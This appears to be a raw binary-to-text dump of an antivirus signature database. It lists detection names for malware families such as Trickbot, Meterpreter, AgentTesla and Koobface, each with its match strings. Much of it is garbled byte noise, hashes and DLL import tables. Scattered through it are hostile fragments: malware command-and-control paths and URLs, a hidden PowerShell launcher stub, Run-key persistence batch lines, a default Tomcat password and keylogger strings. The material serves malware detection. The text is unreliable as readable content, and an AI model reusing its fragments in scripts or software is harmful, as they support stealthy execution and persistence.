!#FakeCert!MSSPPCA2018 !#HSTR:BanloadXorPrev1 !#HSTR:BrowserModifier:Win32/Sasquor.I DoDKP64.dllAnalyzeCodeGOxN !#HSTR:ML:Win32/Banload_BFL_PROJECT indyproject.orgxN !#HSTR:MSIL/Injector.IE  \t0-9A-Za-z.Run `GetProcAddress !#HSTR:PWS:Win32/Lmir.gen!D !#HSTR:PossiblyClean:Win32/JMJ.LegalCopyright.A JMJ 1992-xN !#HSTR:PossiblyClean:Win32/NetBidClient.ModuleName.A BidWizard.exe BidWizard.exexN !#HSTR:Program:Win32/JustPlugIt.A !#HSTR:Trojan:Win32/Alureon.S1 !#HSTR:Trojan:Win32/ShadowPad.B!dha !#HSTR:TrojanDownloader:Win32/Harnig.gen!R !#HSTR:VirTool:Win32/Obfuscator.ACV!enc SWVUP !#HSTR:Win32/ObfVirtualAllocCall.A !#HSTR:Win32/Obfuscator.API.NullArgs.A !#HSTR:Win32/OddItau.A \\root\\itau c:\\windows\\system32\\drivers !#HSTR:Win32/Trickbot.12 wob9OWH%~d5ydk0tj6SD**{79Y7D|}qR2P%hLtEe wob9OWH%~d5ydk0tj6SD**{79Y7D|}qR2P%hLtEexN !#HSTR:XmlSerialGadgetMvDict typeserializablemultivaluedictionary typeserializablemultivaluedictionaryxN !#Lowfi:HSTR:Win32/DealPly.B CIPCListenerClient::OnInjectionConfig CIPCListenerClient::OnInjectionConfigxN !#Lowfi:HSTR:Win32/FastLoads http://fast-loads2.name/agreement.php http://fast-loads2.name/agreement.phpxN !#Lowfi:HSTR:Win32/Nosibox IDS_PING_NOSIBAY_DETECTION_DEFAULT_HOST IDS_PING_NOSIBAY_DETECTION_DEFAULT_HOSTxN !#Lowfi:HSTR:Win32/Obfuscator.BitArts ..\\Desktop\\Startup\\Bitar.vbp ..\\Desktop\\Startup\\Bitar.vbpxN !#Lowfi:HSTR:Win32/Salus http://log.dataurls.com/log/settings.json http://log.dataurls.com/log/settings.jsonxN !#TEL:Trojan:Win32/Dukozy_dyn_dll winhxN !#TEL:Trojan:Win32/Mswshlco.A!dha !#TELPER:Exploit:Win32/Belmont.J!dha !#do_exhaustivehstr_rescan_lecpetex !#ALF:Backdoor:Revetrat Revenge-RAT *-]NK[-*xN !#HSTR:Metasploit.Trampoline.A !#HSTR:Nivdort.EK!crypt !#HSTR:Trojan:Win32/Busky.gen!C aV19DaV19D aV19DaV19DxN !#HSTR:VirTool:Win32/Obfuscator.PN!xor_plus_2 !#HSTR:Trojan:Win32/Vundo.gen!D.1 !#ALF:Trojan:UEFI/MosaicRegressor.B !#ALF:Trojan:Win32/BdAlterDropper.A!dha %s%s\\%s\\%s  main_func  main_funcxN !#ALF:Trojan:Win32/RenoFloss.L!dha VFTRACE.dll VFTRACE.dllxN !#HSTR:AllowList:Win32/Obfuscator.ALD !#HSTR:BrowserModifier:Win32/Diplugem.H Polymorphic DynLoader DynLoaderxN !#HSTR:IsWinlogon winlogon.PDB MICROSOFT_AUTHENTICATION_PACKAGE MICROSOFT_AUTHENTICATION_PACKAGExN !#HSTR:Trojan:Win32/Guloader.AV7!MTB !#HSTR:VirTool:Win32/VBInject.ACE obalxN !#Lowfi:HSTR:BlankitDropper itter_ Sorvete.exexN !#TELPER:HSTR/HashtagBanload I1JDTlQj I1BNU0Uj !#TELPER:Trojan:Win32/PlaKeylog.A!dha !#HSTR:Ropest.I 8!CFG 8!CFGxN !#ALF:Trojan:MSIL/EliteGenClient.B!dha \\Elite\\elite_client\\csharp\\ \\Elite\\elite_client\\csharp\\xN !#ALF:Exploit:Win32/Cauldroner.A!dha Device\\CNG !#HSTR:Backdoor:Win32/Plugx!timecheck !#HSTR:Trojan:Win32/Vundo.IU !#ALF:Backdoor:Drixed:Service $ worker_x !#ALF:Trojan:Win32/Lokibot.RI!MTB   !#HSTR:Win32/Harlook tmp32tmp\\ \\mail.rptx tmp32tmp\\\\mail.rptx !#ALF:Backdoor:MSIL/Bladabindi.MMF!MTB !#ALF:HSTR:Codecopy.S01 !#ALF:HSTR:HackTool:MSIL/Suspicious.SkypeCracker SkypeCracker.exe SkypeCracker.exexO !#HSTR:AutoitItV3ModAU3!Mark &#SVW !#HSTR:ListControlVirtualProtectCall !#HSTR:MSIL/Base64Decoder.A !#HSTR:MSIL/Tisifi.RA1!MTB !This program cannot be run in DOS mode.xO !#HSTR:MSIL/lnk.exe.temp.A .exe.lnk !#HSTR:Obfuscator_mod_init_buffer !#HSTR:PWS:Win32/Lmir.gen!C !#HSTR:PWS:Win32/Lmir.gen!F !#HSTR:PossiblyClean:BloombergProfessional.ModuleName.A Wintrv.exe Wintrv.exexO !#HSTR:PossiblyClean:Computrace.FileName.A AVXmFile.xmlxO !#HSTR:PossiblyClean:Win32/onlinebrief24.ModuleName.A onlinebrief24 onlinebrief24xO !#HSTR:StrObf_TransferComplete E8 xO !#HSTR:Thinstall ThinApp Boot Loader ErrorxO !#HSTR:TrojanDownloader:Win32/Rirdra GET /7/?r=site/GTCD HTTP/1.0  xO !#HSTR:TrojanDropper:Win32/Vundo.AB !#HSTR:VirTool:MSIL/Contrenre.A !#HSTR:VirTool:Win32/Obfuscator.ABM !#HSTR:Win32/RedPillCrypter :\\LastSave\\RedPillCrypter esource.h esource.hPADxO !#Lowfi:Dewiz_Obfus !#Lowfi:HSTR:BProtect:BingIEToolbar @VCBingSearchBox@@VCWindow@ATL@ @VCBingSearchBox@@VCWindow@ATL@xO !#Lowfi:HSTR:Win32/Chindo \"description\": \"User feedback extension\", \"description\": \"User feedback extension\",xO !#Lowfi:HSTR:Win32/DeltaSearch IDC_CB_DELTASEARCHxO !#Lowfi:HSTR:Win32/Elex.C [dskSvc](2612): CNTService::~CNTService() [dskSvc](2612): CNTService::~CNTService()xO !#Lowfi:HSTR:Win32/Installium /Configuration/offerValueAfterInstall /Configuration/offerValueAfterInstallxO !#Lowfi:HSTR:Win32/OptimizerPro Register your copy of Optimizer Pro Register your copy of Optimizer ProxO !#Lowfi:HSTR:Win32/SoftPulse.B getScriptNextOfferxO !#Lowfi:HSTR:Win32/Softobase &t=pageview&dp=%2Fbp_wrapper_offer_yes &t=pageview&dp=%2Fbp_wrapper_offer_yesxO !#TEL:Trojan:Win32/Dukozy_module_PIC.B !#TEL:Trojan:Win32/Sploit_WS32.A !#VirTool:Win32/Obfuscator.AIZ CoupoonService64xO !#HSTR:Miloapi!A /input/in/Nwh   $ .textH RSDSD(o mqsec.pdb mqsec.pdbj ExitProcessKERNEL32.dllUc.a MQSEC.DLL MQSigCloneCertFromReg MQSigCloneCertFromSysStore MQSigCreateCertificate MQSEC.DLLMQSigCloneCertFromRegMQSigCloneCertFromSysStoreMQSigCreateCertificate   $ mqutil.pdb mqutil.pdbj ExitProcessKERNEL32.dllTc.a MQUTIL.DLL MQGetResourceHandle MQUTIL.DLLMQGetResourceHandle   $ RSDSn netsh.pdb netsh.pdbj ExitProcessKERNEL32.dllUc.a< NETSH.EXE FreeString MakeQuotedString MakeString MatchEnumTag MatchToken PrintError PrintMessage PrintMessageFromModule RegisterContext RegisterHelper \tNETSH.EXEFreeStringMakeQuotedStringMakeStringMatchEnumTagMatchTokenPrintErrorPrintMessagePrintMessageFromModuleRegisterContextRegisterHelper   $ .reloc(@ RSDST/ C:\\RSDST/ shfolder.pdb QPPh, =8/Q| GetVolumeInformationWKERNEL32.dllid.a< SHFOLDER.DLL SHGetFolderPathA SHELL32.SHGetFolderPathA SHGetFolderPathW SHELL32.SHGetFolderPathW SHFOLDER.DLLSHGetFolderPathASHELL32.SHGetFolderPathASHGetFolderPathWSHELL32.SHGetFolderPathW m0v0~0   $ .textp cards.pdb ExitProcessKERNEL32.dllJc.a4 CARDS.DLL cdtAnimate cdtDraw cdtDrawExt cdtInit cdtTerm CARDS.DLLWEPcdtAnimatecdtDrawcdtDrawExtcdtInitcdtTerm U0^0g0p0y0 U0^0g0p0y0y MZ   $   $*e Richn rtm.pdb 2MTR3 2MTR; 52MTRt 52MTR 2MTR9E RTM.DLL BestMatchInTable MgmGetFirstMfe MgmGetFirstMfeStats MgmGetMfe MgmGetMfeStats MgmGetNextMfe RtmBlockMethods RtmCloseEnumerationHandle RtmCreateNextHopEnum RtmCreateRouteList RtmDeleteRoute RtmGetChangeStatus RtmGetDestInfo RtmGetEntityInfo RtmGetEntityMethods RtmGetEnumDests RtmGetEnumNextHops RtmGetExactMatchDestination RtmGetLessSpecificDestination RtmGetListEnumRoutes RtmIsBestRoute RtmIsMarkedForChangeNotification RtmIsRoute RtmLockDestination RtmLockNextHop RtmReferenceHandles RtmReleaseEntityInfo SearchInTable RTM.DLLBestMatchInTableMgmGetFirstMfeMgmGetFirstMfeStatsMgmGetMfeMgmGetMfeStatsMgmGetNextMfeRtmBlockMethodsRtmCloseEnumerationHandleRtmCreateNextHopEnumRtmCreateRouteListRtmDeleteRouteRtmGetChangeStatusRtmGetDestInfoRtmGetEntityInfoRtmGetEntityMethodsRtmGetEnumDestsRtmGetEnumNextHopsRtmGetExactMatchDestinationRtmGetLessSpecificDestinationRtmGetListEnumRoutesRtmIsBestRouteRtmIsMarkedForChangeNotificationRtmIsRouteRtmLockDestinationRtmLockNextHopRtmReferenceHandlesRtmReleaseEntityInfoSearchInTabley MZ   $   $*e @BLe.a RSDSM bad allocationRSDSM pid.pdb pid.pdb3 PID.DLL PID.DLLDllCanUnloadNowDllGetClassObject 0y MZ   $ f8? blG k.\tB? BzP?u WY ? |Y7? )|Y7? * '? ;j |_? MP be.KM? ]r? ] \\as? \\as? U fg#eL? su? t > !); #& ?~? 1{jY? {(? 4 6>$5[? 79`d=? FawoK; 4[? U U? Rc y<k:? #?~? #?~? 1 144978cf6af9e0 144978cf6af9e0Flags1 !#Lua:FileSizeThreshold Lua:FileSizeGE186A0 !#ALF:Exploit:HTML/Banotty.BB!dha !#ALF:Exploit:HTML/Banotty.BB!dhaObMpAttributes SCPT:Bannoty.BB !#ALF:Exploit:Script/GetExchangeSID.A!dha !#ALF:Exploit:Script/GetExchangeSID.A!dhaObMpAttributes SCPT:GetExchangeSID 1d784af221cd 2178fe4d9b8f  SIGATTR:deepemu 2a8939e0cc34  348975c03373  39955299f7dd FOPEX:VirTool:Win32/Obfuscator.AKN #FOPEX:VirTool:Win32/Obfuscator.AKN 3f78f652bd52 DGROUP 41899c60da49  4189c291d731  41b326adcd68 4289a29f9028  47781e904461  4db32a80c176 55b38b600507 6f7850781a44  9f7864186718  a778171962de  c17817cec081 fab3818ac684 \\barco\\cmsclient\\ fc78cc311a27  6c61a2a87b0b 6c61a2a87b0bFlags1 PUA:Block:BitTorrent 10778196cd216 MpSimulateParanoid do_exhaustivehstr_rescan_Adrotator #do_exhaustivehstr_rescan_Adrotator  10b78d380addd   11478da2a68f4   11f7878cb48fe   1247893fc139c   197294da129d1 197294da129d1IncludesResearchData document.xml  !#SLFPER:Dexphot.B installer_mi.exe 107f1e365595 35405dea4ee1 riched32.dll  42d7b0162804 4961e841b00d 517803bf61e8 5f78b5e4a883  7378a277a4a8 79d7f9a67207 7dd705adc670 8ed77125db2f 96d7e8242edc a1d77d51eea2 a1d7a8679949 a2d78ffe616c a9d73924c95e e1d768944fb2 e6d7aab68bc8 ecd7e1fc186e f9d76f063db2 ffd70d4f2c73 10b785922547b  11d78d7b31da4  19078350cb950  !#LUA:AutoItLargeFile cse?t r~0 {M r~0 {M7 c[-1& cS<.- cS<OV- !Ranky.HJ !Daonol.I !Slenfbot!inf !Slenfbot!inf\t@ Rogue:Win32/FakeRean!ZIP !Renos.X BrowserModifier:Win32/Sbrows.A info=%s POST /interface.asp HTTP/1.1 User-Agent: (CustomSpy) GET /qvod.txt HTTP/1.1 %s\\baidu %s\\baidu\\%s 0Projects\\xNetInstaller\\Release\\xNetInstaller.pdb !Small.MN !Daonol.J Killav.G !Adialer.H !Sirefef.A!dll pSystem\\Device\\__max++>%wZkernelbase.dllkernel32.dll !Vundo.gen!BQ CPM.dll CPM.dllas AVUK.dll AVUK.dlld 222.dll 222.dllDllCanUnloadNowDllGetClassObjectas] !Alureon.DA d.sys UACSRTOID OIDGMA T5_l] /uclk/knock.pl?bid= !Rustock.K !Wintrim.H !Renos.gen!BH H0&&_ !Harnig.EJ !Koobface.K !Vundo.MD hsuid=%s&cuid=%s&affid=%d&tid=%s&cver=%d&li=%d&bi=%d 8/pldr/test.jpgexplorer.exe LSDM_Mtx !Vundo.ME R\\Internet Explorer\\ieuser.exe -Embedding Zwscntfy.exewscntfy_mtxmrt.exeexplorer.exe S-1-1-0 S-1-16-4096 S-1-1-0S-1-16-4096] !Saddamme.0_2 !Coced.2_52 !Zimenok.0_5 !SCKeyLog S3F~: !Birdspy !JustJoke.12.A !Broomops.6_3 !Najort.1_4 $XzmP !Killfiles.BT !DNet ex]fi !Adroar.A !Fakeaol !Fakegina.A !Adload.BG BrowserModifier:Win32/Hijacker.F   BrowserModifier:Win32/Hijacker.F @breakoff ifexist%temp%\\iexplorers.dllgotocon p\\software\\microsoft\\windows\\currentversion\\run 0%temp%\\iexplorer.exe 0start/low/miniexplore.exe\"http:// %ping% 0-n1-l1|find\"ttl\">nul Pfor/f\"tokens=3delims=:\"%%ein('%windir%\\system32\\ping.exe 0-n1-l1^|find.exe\"ttl\"')  setpac=proxycfg !Killav.KP MonitoringTool:Win32/Xsmon !Killav.DN !Killav.DO \tWriteProcessMemory \tWriteProcessMemory] !Koobface.G !Koobface.L !Koobface.M !Wintrim.CB !Koobface.N !Koobface.O !Koobface.P !Koobface.R !Pushbot.NT !Small.ZZX !Daonol.K !Opachki.B !Oficla.G !Daonol.gen!A $$0$.F aAlureon.H ^juNa hTDLD !Alureon.DB tdl3desk tdl3desk] Trojan:SWF/Koobface.A !Cinmus.Y !Daonol.L !Hamweq.AK !Hamweq.AL !Rustock.L !Wintrim.I \tc#V| _k:xI{ !Koobface.S !Bredolab.AA @ /new/controller.php !Renos.gen!BI \\sshnas !Hamweq.AM !Harnig.EK !Pushbot.NU !Hamweq.AN !Hamweq.AO !Hamweq.AP !Hamweq.AQ !Hamweq.AR !Hamweq.AS !Hamweq.AT !Hamweq.AU !Hamweq.AV !Hamweq.AW !Hamweq.AX !Vundo.gen!BR 77.74.48.113 !Hamweq.BE !Hamweq.AY !Hamweq.AZ !Hamweq.BA !Hamweq.BB !Hamweq.BC <1>8m\\ !Hamweq.BD !Hamweq.BF !Hamweq.BG !Hamweq.BH !Alureon.DC H8SRT %s%s%x.tmp [%s] File download %s DownloadAndExecuteSoftString(%s) LiteLoader TDL Start Mutex detected MRS Loader was here... 224;new; 224;new;http:// !Hamweq.BO !Hamweq.BS !Hamweq.BT !Hamweq.BY !Hamweq.BZ !Hamweq.BI !Hamweq.BJ !Hamweq.BK !Hamweq.BL !Hamweq.BM !Hamweq.BN !Hamweq.BP !Hamweq.BQ !Hamweq.BR !Hamweq.BU !Hamweq.BV !Hamweq.BW !Hamweq.BX !Hamweq.CA !Hamweq.CB  D57=] !Hamweq.CC !Hamweq.CD !Hamweq.CE !Hamweq.CF !Hamweq.CG !Pushbot.NV !Zlob.APT ,_AD1CompleteRemoveNow_ 0_browser_redirect_event_ j/get-last-update.php?sid=0&aid=0&said=0&pn=&config=cn (www.thenmnetwork.com] !Hamweq.CH !Hamweq.CI !Hamweq.CJ !Hamweq.CK !Hamweq.CL !Slenfbot.AID !Slenfbot.AIE !Unruy.D http://%s/dupe.php?q=%d.%d.%d.%d.%d.%s.1.%d +http://%s/dupe.php?q=%d.%d.%d.%d.%d.%s.1.%d faker_version is %d dtd_dll.dll addNumber dtd_dll.dllaaddNumber {FA531BC1-0497-11d3-A180-3339052286C3E} '{FA531BC1-0497-11d3-A180-3339052286C3E} \\acrotray .exe NetScheduleJobAdd %s.delme%u  .megawebfind http://%s/banner3.php?q=%d.%d.%d.%d.%d.%s.1.%d.%d Global\\acrobat201 Global\\acrobat201] !Hamweq.CN !Hamweq.CO  #e`@] !Hamweq.CP !Hamweq.CQ !Neeris.gen!D sysdrv32.sys Cache-Control: no-cache,no-store,max-age=0 Cache-Control: no-cache,no-store,max-age=0] !Renos.JW c u_{ HSTR:TrojanDownloader:Win32/Renos PLHSTR:TrojanDownloader:Win32/Renos rk'rGf &?`\\5 &?`\\56  6{suQH \\j3\t~( +A(cA N:};E4? &|4JY 1\\'AI# SK)]PZ iz@\"^ ,$o/R '+!-} &SRHP Ec8;e{  ST(W 7(:yyz dO vH 9+p|] n0Saw &nfRq rJ5&f $.~`gJ Smhni H=n:i y_\\JFT >syTup B~V`S Do9M_ >7n5= -F$(M L,s)A, hn`W{:_6 f\td70 , ]iPHRmK7Ub |GbNqNfD ej]j$ ?sE;t vGKJz }D0@1 Y6e'i jhl 3 Yma<| l^tAX ZmFr/ r.F*: \"t2]' ~?t.M E~uuogA2 %| a6B- 6M$'q y:SAP (q|EhL 4\"]cn R'nkm hsOaa p/'v4 (J!_e +JXrGu ^IO T5 *OmFZ V>.4( M}A8A 3-/55 3~-(d ~N0nH ;V+pD `Ceo< M>W`z \\_}?/ z?+9H  7vZcIcl f tmc> P=>G| w\t1$NW 2~mJ?  mh+h >w6QN gh<@y 4|/ZT 2y5<C n<>}] ooz`s q/.Yl  WVq>R pBOmq$ 9Q~}} MW3[k z%~~u [m^n3` A yb%a' {yZ.H l+6+q qM-O/ +]:NT %MNxE 3Bl1m^. :^m-ALu mJymq ]kW:{ EoVFiz %p[, 2 Y^?}w 5&Ban f\\Vm8 iqt+m pf68R C25>> 0m,Uk =Dd A V@)JI1 ~';w' Z.(uQ6 8il*25 ^QW_m  2Pt8Q ?o^]t  n\\ f dWM|}T ~3)lI` ~. |uQ2 {|lt& jf%zxR (9|4+ >/)<b S'sqe 1Hu[r M/Ps+ <8@r6L{`5I- MSQm@K tI7d.S |!ix#K `:uqf cI\\k! w;(sz _D$j_ 56X|< \t$ e5 <n^8? F|;Fc zd\t_f^1 #\tQ'{ \\D K|f G'|Uh28 /KQ0EB  7c78ee7b44ef  7d78aaf37f74  7d78c034fec7  7d78f1e596f6  7d78f70590ab  7e613d762f69  7e780156fd2c  7e78129a5254  7e7861405030  7e7873f5ba7e  7e78d38be896  7f7825c22b33  7f7834a69609  7f7843231e58  7f78caa93035  7f78e0033e03  7f78e402afad  7f78f64011a4  8078059938e6  80786e38f5b8  8078c99d97d4  8078cd5a2b55  8078d703121d  8078fc87c663  817817bc158a  81781f4336f8  81783cb82a85  8178901dedc0  82614a476a7d  827833df6ab2  82784e73f147  8278731e16dc  837824634417  83784a328c46  83788eab5b3d  83789fae37b1  8378c76c9c8f  84780d8e395f  84786390e765  847870c68465  8478bfe3be7b  85787cecadab  8578ba9cd5fa  8661c9cdfc3a  8678106baf05  8678594e5500  8678ccd97801  8678d9cf81a2  8678fda84494  87780478c033  877857a7ee2e  877871de4792  8778a06f03ae  8778a909f88d  8778cac0770e  88615ed9e436  887857dd1536  88789e797f28  897832ac18d6  8a780061ae75  8a782f2fb836  8a786acaeddf  8a788a04c792  8a788a351d18  8a78e5ef2a37  8a78e9a0c386  8b78354e22b8  8b78596f901f  8b788a3d3a00  8b78b6cfa380  8c78c9fcab54  8c78e7967f93  8c78ff5fc6c1  8c8d6c0dcecd PUA:Block:KSRecorder.C 8d61b9887d15 netspy_qq netspy_msn netspy_ftp run netspy_mail \\pictp.jpg \\pictp.jpgxv !#ALF:Trojan:Win32/Nemty.PC!MTB VirtualProtectxv !#Trojan:Win32/RedFlare6.M!ibt Unsuccessful Successful runCommand initialize initializexv !#ALF:Trojan:Win32/Toolbar.Linkury.KA Smartbar MonetizationTools D:\\TFS\\Smartbar crdli !#HSTR:MSIL/Remcos.RR!MTB P !#HSTR:Trojan:Win32/Kolik.A \\Skype\\Skype.lnk URLDownloadToFileAxw !#ALF:Trojan:MSIL/Nanocore.SIB!MTB !#ALF:Trojan:Win64/Meterpreter.C PAYLOAD: PAYLOAD:xw !#ALF:Win32/Gracewire.SD!MTB !#HSTR:PossiblyClean:Win32/Spinnaker.CompanyName.A Spinnaker Software Solutionsxw !#HSTR:Program:Win32/ChecksDeepFreeze Checking if key exists HKLM SYSTEM\\CurrentControlSet\\services\\DeepFrz Checking if key exists HKLM SYSTEM\\CurrentControlSet\\services\\DeepFrzxw !#HSTR:Trojan:Win32/Predator1106!MTB !#HSTR:Win32/Meterpreter!CMD TPQQQAQIQQSQ !#HSTR:Win64/Meterpreter!CMD j YAP VPAPAPAPI !#Lowfi:HSTR:Win32/BrowseFox.J if(!window.blgcran){ window.blgcran = true; var scr=document.createElement(' if(!window.blgcran){ window.blgcran = true; var scr=document.createElement('xw !#Lowfi:HSTR:Win32/BrowseFox.P ForceRemove '{c3cbfe5d-53c1-44f9-8442-6faaf005aaa9}' = s 'See Results Hub' { ForceRemove '{c3cbfe5d-53c1-44f9-8442-6faaf005aaa9}' = s 'See Results Hub' {xw !#Lowfi:HSTR:Win32/InstallIQ.B Search Protector offer is disabled or not present. Skipping Search Protector Search Protector offer is disabled or not present. Skipping Search Protectorxw !#Lowfi:HSTR:Win32/JustPlugIt.C ForceRemove {F28C2F70-47DE-4EA5-8F6D-7D1476CD1EF5} = s 'TinyJSObject Class'xw !#FakeCert!SSLCO !#ALF:HSTR:WebBar WebBarViewModelSample _adlisting Unable to get adlistings.xw !#NativeAPIsInNonNativeApp ExAllocatePoolWithTag ExAllocatePoolWithTagxw !#HSTR:PWS:Win32/Sinowal.gen!Y.2  naghtmen  ald.pdb ald.pdbxw !#ALF:Trojan:Win32/CryptInject.CA!MTB !#ALF:Trojan:Win32/Zbot.SIBE4!MTB !#HSTR:TrojanDownloader:Win32/Banload.BCA Tcnkewqed Tcnkewqedxw !#Exploit:Win32/BlofeldsCat.C!Lowfi jjjjjjh !#HSTR:Win32/ObfuscatorDynMemJmpAPI  VirtualProtectxw !#HSTR:bot_sniffer {SNIFFER}: {KEYLOG}: Keylog Thread has been killed. Sniffer Thread activated. Sniffer Thread activated.xw !#ALF:PUA:Amonetize!bit !#ALF:Trojan:MSIL/Galaxian.A!dha Quasar.Common.<PrivateImplementationDetails> MinBer 2016 Zarber.Iner Zarber.Inerxw !#ALF:Trojan:Win32/GlassBadger.A!dha !#ALF:Trojan:Win32/Zbot.SIBE21!MTB !#SLF:Win32/Dogho.A sensepost/godoh/cmd.glob sensepost/godoh/dnsclient.Lookup sensepost/godoh/cmd.ini sensepost/godoh/cmd.inixw !#HSTR:Trojan:Win32/Tevebo.A!dha winmic svcname svcnameBOT 20A6668DBE1E9D09 RDTestVer RDTestVerxw !#HSTR:VirTool:Win32/Obfuscator.PN.5 !#ALF:Trojan:Win32/GuLoader.RH!MTB Hijackingen4 Myxobacteria9 Kastagnetterne Ransagningskendelser5 Ransagningskendelser5xw !#PUA:Block:TelamonBundler Software\\Telamon Offer_Yandex End Offer_Yandex Begin uidcreator.exe uidcreator.exexw !#TEL:Program:Win32/XTScanner.A!dha Tomcat 1qaz2wsx3edc http://%s:%d/manager/html http://%s:%d/manager/htmlxw !#ALF:Trojan:Win32/Spybot.RAS!MTB Libr3dy KERNEL32.E USER32.E GDI32.E hkkC[{; hkkC[{;xw !#Win32/AutoHotKey_HSTR1 \\AutoHotkey.chm by an AHK script >AUTOHOTKEY SCRIPT< http://ahkscript.org http://ahkscript.orgxw !#ALF:Trojan:MSIL/AgentTesla.GX!MTB G !#BM_VulnDriver.Gigabyte 0 f:\\ycc\\gdrv64\\objfre_wnet_AMD64\\amd64\\gdrv64.pdb \\DosDevices\\GIO \\Device\\GIO \\Device\\GIOxw !#HSTR:Trojan:Win32/BHO.F  plugin Enable Browser Extensions Enable Browser Extensionsxw !#ALF:Ransom:Win32/BabukLocker.KK!MTB !#ALF:HackTool:MSIL/ReqAADRefreshToken!MTB RequestAADRefreshToken login.microsoftonline P3PHeader : P3PHeader :xx !#ALF:HSTR:Trojan:Win32/Nobandic.A !#ALF:HSTR:VirTool:MSIL/Injector.IA !#ALF:HSTR:Virtool:Win32/Obfuscator.APG !#ALF:MSIL/AgentTesla.SMK!MTB !#ALF:Trojan:MSIL/AgentTesla.BSO!MTB !#ALF:Trojan:Win32/Azorult.DS!MTB !#ALF:Trojan:Win32/Zbot.SIBD21!MTB !#ALF:Trojan:Win32/Zbot.SIBF!MTB !#ALF:TrojanDownloader/Win32:CannonFresco.A!dha mkdir %appdata%\\systemUpdating & powershell -w 1 -nologo -ec mkdir %appdata%\\systemUpdating & powershell -w 1 -nologo -ecxx !#HSTR:VirTool:MSIL/GeneralPacker.K part0 part1 part2 part3 !#HSTR:VirTool:Win32/GeneralPacker.S04 .-!_!-. !#LowAdware:Win32/Lollipop-stringdecryptor !#Lowfi:HSTR:Win32/Solimba.B \\Visual Studio 2010\\Projects\\installer4\\installer\\obj\\x86\\Release\\installer.pdb \\Visual Studio 2010\\Projects\\installer4\\installer\\obj\\x86\\Release\\installer.pdbxx !#Lowfi:HSTR:Win32/Vittalia C:\\Proyectos\\desktop_apps\\Updater\\UpdaterVittalia\\obj\\Release\\UpdaterService.pdb C:\\Proyectos\\desktop_apps\\Updater\\UpdaterVittalia\\obj\\Release\\UpdaterService.pdbxx !#Lowfi:HSTR:Win32/iBryte.F e:\\builddata\\Install\\source\\Min_Loader-BuildAndDeploy\\Release\\Loader_Resized.pdb e:\\builddata\\Install\\source\\Min_Loader-BuildAndDeploy\\Release\\Loader_Resized.pdbxx !#FakeCert!CMDCAL !#FakeCert!GlbSig !#HSTR:Backdoor:Win32/Senarw.S001 /gate/  _exec?command=  !#HSTR:MSIL/Obfuscator.GenDecnryptAlgo.B !#HSTR:TrojanSpy:Win32/Nivdort.G2 !#VirTool:Win32/Obfuscator.XI !#HSTR:Nivdort.AG!Decrypt !#SLFPER:CobBeacon.Xor !#HSTR:Nivdort.DP!Decrypt !#ALF:HSTR:Trojan:Win32/CrypterDll.S01 Crypter ZLibEx Winapi.Windows AES_CTR AES_Encr !#ALF:Trojan:MSIL/AgentTesla.JNX!MTB $769b753c-436e-4588-a6a8-89ea6ac04a6e $769b753c-436e-4588-a6a8-89ea6ac04a6exx !#ALFPER:HSTR:AmonetizeDrop.A1 !#ALFPER:HSTR:Program:Win32/Xunpf.A viewweb.dll DllCmd viewweb.dllDllCmd !#HSTR:Program:Win32/Yandex Software\\Yandex\\YandexBrowser BrowserManager.pdb BrowserManager.pdbxx !#HSTR:Sindomorl.A3 !#HSTR:TrojanSpy:Win32/Xtrat!WriteFile !#LowfiHSTR:VirTool:Win32/Obfuscator.AEN !#TELPER:Trojan:MSIL/Munop.A!dha &\\CurrentVersion\\Runxx !#HSTR:Sindomorl.F1 D357D640 AE42E1153F04 D61624D430D74C36EC22xx !#HSTR:VirTool:Win32/DelfInject.gen!BF !#HSTR:CrossriderFramework AUICrossriderBHO@@ CLSID = s '{11111111-1111-1111 CurVer = s 'CrossriderApp CurVer = s 'CrossriderAppxx !#HSTR:Kanvas.A!sys MOSDEF_NET \\DosDevices\\mosdef \\rootkit\\kernelmode\\ \\rootkit\\kernelmode\\xx !#HSTR:Virtool:Killav %programfiles%\\avg panda avira grisoft norton avastxx !#TEL:Exploit:Win64/Abige.A!dha \\rundll32_getadmin\\Add\\ password may Error please check again AddByGod AddByGodxx !#HSTR:Worm:Win32/Vobfus.DA!CLSIDReference VB.DirListBox VB.Timer VB.Timerxx !#TEL:Trojan:MSIL/AgentTesla.VV!MTB H !#HSTR:CeeInject.Miuref   !#HSTR:Virus:Win64/Viknok.gen!E !#BM_AT_cry:GenericNirSoft /savelangfile /scomma &Copy Selected Items &Copy Selected Itemsxx !#OFN:NtdsAudit Release\\NtdsAudit.pdb --pwdump <file> --history-hashes --dump-reversible <file> --dump-reversible <file>xy !#ALF:Trojan:MSIL/AgentTesla.TWL!MTB !#ALF:Trojan:Win32/Ursnif.BI!MTB !#HSTR:Ropest_StringDecryptionx64 !#HSTR:Virus:Win32/Expiro.AK !#HSTR:WindowsInstaller3_1.A \"WindowsInstaller3_1\\WindowsInstaller-KBxy !#Lowfi:HSTR:Win32/Kuaiwan /pc.gif?a=update&m=soft&did=%s&appid=1700&verid=%s&pid=%s&step=%d&overid=%d&url=%s /pc.gif?a=update&m=soft&did=%s&appid=1700&verid=%s&pid=%s&step=%d&overid=%d&url=%sxy !#Lowfi:HSTR:Win32/PastaLeads https://' : 'http://') + 'nps.pastaleads.com/npsb/logic.js?originid=${ORIGIN_ID https://' : 'http://') + 'nps.pastaleads.com/npsb/logic.js?originid=${ORIGIN_IDxy !#HSTR:VirTool:Win32/Obfuscator.ACG !#HSTR:Win32/Trickbot.1 1%OB{xLuJ}O$d~Cd#vT}Pmd~rW5$?0JR2U1hq0Z1 1%OB{xLuJ}O$d~Cd#vT}Pmd~rW5$?0JR2U1hq0Z1xy !#HSTR:Wobeefac.A storage.googleapis.com/facewebs/machine facewebs/machine .exeopen !#HSTR:Trojan:Win32/Zlob.gen!K.2 !#HSTR:TrojanDropper:Win32/Sirefef.gen!D !#PUA:Block:SquareNet \\download_mgr_photoyee\\Release Release\\toolbar_setup.pdb Release\\tb_setup_zip.pdb Release\\tb_setup_zip.pdbxy !#HSTR:Backdoor:Win32/Temsidavi SetTime [-]NTTime SetTime[-]NTTime !#HSTR:Win32/Meterpreter!ws2_32 hws2_T h32hws2_T fh32hws2_T =23_2u WS2_32 WS2_32[ ws2_32[ !#TEL:Trojan:Win32/CoinLoader.SN!MTB !#ALF:Trojan:Win64/Dridex.GM!MTB !#HSTR:PhanEvade3.x64.DlDll !#HSTR:Program:Win32/ZeoSpace bin\\Release\\Win32\\ZeoNetInstallerBA.pdb ZeoSpace - Installxy !#HSTR:Trojan:Win32/Beebfus.A !#HSTR:TrojanDownloader:Win32/Adload.BO /update.php?v=xy !#HSTR:TrojanDownloader:Win32/Delf.CI porn.com Portions 